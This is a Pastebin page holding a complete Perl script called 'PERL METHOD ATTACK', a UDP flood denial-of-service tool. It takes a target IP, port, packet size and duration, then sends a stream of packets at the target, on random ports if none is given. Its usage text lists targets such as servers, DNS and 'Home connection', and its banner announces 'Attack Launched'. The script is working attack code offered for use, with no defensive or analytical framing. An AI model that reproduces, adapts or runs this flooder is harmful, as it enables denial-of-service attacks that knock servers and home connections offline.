Advertisement
Turk0RH

PERL METHOD ATTACK

May 30th, 2015
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. ### PERL METHOD ATTACK BY TURK0 [ Turk0.pl ] ###
  2.  
  3. #!/usr/bin/perl
  4. ##
  5. # Turk0
  6. ##
  7.  
  8. use Socket;
  9. use strict;
  10.  
  11. if ($#ARGV != 3) {
  12. print "\n";
  13. use Term::ANSIColor;
  14. print color 'red';
  15. print "[!] Turk0 PERL Method [!] \n\n";
  16. print "turk0.pl <ip> <port> <size> <time>\n\n";
  17. print " port=0: use random ports\n";
  18. print " size=1: <1> best powerful \n";
  19. print " time=0: unlimited flood\n\n";
  20. print " Exemple: perl turk0.pl 123.12.123.123 80 1 900";
  21. print "\n\n";
  22. print " [!] PORT INFO [!] \n\n";
  23. print " 21 = VPS, SERVER \n";
  24. print " 22 = SFTP \n";
  25. print " 53 = DNS \n";
  26. print " 80 = Home connection \n";
  27. print "\n";
  28. print "By Turk0 \n";
  29. print "\n";
  30.  
  31. exit(1);
  32. }
  33. my ($ip,$port,$size,$time) = @ARGV;
  34.  
  35. my ($iaddr,$endtime,$psize,$pport);
  36.  
  37. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  38. $endtime = time() + ($time ? $time : 100);
  39. socket(flood, PF_INET, SOCK_DGRAM, 17);
  40. use Term::ANSIColor;
  41. print color 'blue';
  42. print <<EOTEXT;
  43. _________-----_____
  44. _____------ __ ----_
  45. ___---- ___------ \
  46. ----________ ---- \
  47. -----__ | _____)
  48.  
  49. __- / \
  50. _______----- ___-- \ /)\
  51. ------_______ ---____ \__/ /
  52. -----__ \ -- _ /\
  53. --__--__ \_____/ \_/\
  54. ----| / |
  55. | |___________|
  56. | | ((_(_)| )_)
  57. | \_((_(_)|/(_)
  58. \ (
  59. \_____________)
  60.  
  61. [!] Attack Launched by Turk0 Method [!]
  62.  
  63. EOTEXT
  64. use Term::ANSIColor;
  65. print color 'green';
  66. print "IP : $ip " . "WITH PORT : " . ($port ? $port : "random") . "
  67. POWER : " .
  68. ($size ? "$size BYTE(S)" : "POWERFULL") . "
  69. " .
  70. ($time ? "FOR $time SECONDS" : "") . "\n";
  71. print "STOP WITH CTRL+C" unless $time;
  72.  
  73. for (;time() <= $endtime;) {
  74. $psize = $size ? $size : int(rand(1500000-64)+64) ;
  75. $pport = $port ? $port : int(rand(1500000))+1;
  76.  
  77. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  78. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement